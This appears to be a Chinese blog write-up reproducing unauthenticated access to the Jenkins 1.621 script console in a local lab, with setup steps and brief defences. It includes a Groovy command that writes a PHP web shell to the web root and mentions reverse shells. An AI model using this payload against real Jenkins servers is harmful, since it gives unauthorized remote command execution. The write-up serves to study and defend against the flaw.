![066a7dc156f2dae09aee5f087c88a4c7.png](https://i-blog.csdnimg.cn/blog_migrate/441782af8bbcec414c29f44885cdd4e1.jpeg)
0x01 漏洞描述
未授权访问管理控制台,可以通过脚本命令行执行系统命令。通过该漏洞,可以后台管理服务,通过脚本命令行功能执行系统命令,如反弹 shell,wget 写 webshell 文件。
0x02 漏洞环境搭建
1. 官方下载jenkins_1.621_all.deb,下载地址如下:
http://mirrors.jenkins.io/
2.在Kali中安装jenkins_1.621_all.deb
dpkg -i jenkins_1.621_all.deb
3.开启jenkins
service jenkins start
4.浏览器访问下面的URL,如果出现如图1一致的页面,说明安装成功。
http://192.168.192.197:8080/
![239dd6867ae009283a7b8e65049f8549.png](https://i-blog.csdnimg.cn/blog_migrate/a95a5f5cd331196b3acc06e2811e91d8.jpeg)
0x03 漏洞复现
1.浏览器访问:
http://192.168.192.197:8080/manage
![4a7bcc8bf8d46eee17921795bbec94df.png](https://i-blog.csdnimg.cn/blog_migrate/db26667968d69b5fec7f87c010efb2ed.jpeg)
2.点击脚本命令行
![cdc9bcba7e506b0ba03b9a93920f4588.png](https://i-blog.csdnimg.cn/blog_migrate/05bf83b5b22d6ac60478fd8d7ba756c8.jpeg)
![54ecef0aac693a95e614629f1ce4eb08.png](https://i-blog.csdnimg.cn/blog_migrate/3279bf22cb84108e1cb120352a1de6c4.jpeg)
3.执行命令
new File("/var/www/html/media.php").write('<?php system($_GET[cmd]);?>');
![9df20eb9e004041f0317d1ce92557869.png](https://i-blog.csdnimg.cn/blog_migrate/c0edf0cc6470546199c35141999d764b.jpeg)
4.访问:http://192.168.192.197,发现可以执行命令,漏洞利用成功
![9c03ab9dc901d01c716e1620151eb079.png](https://i-blog.csdnimg.cn/blog_migrate/2f8622b09ce7cf097feaee9ac952cb60.jpeg)
0x04 漏洞防御
1、对后台控制页面做登录验证限制
2、升级版本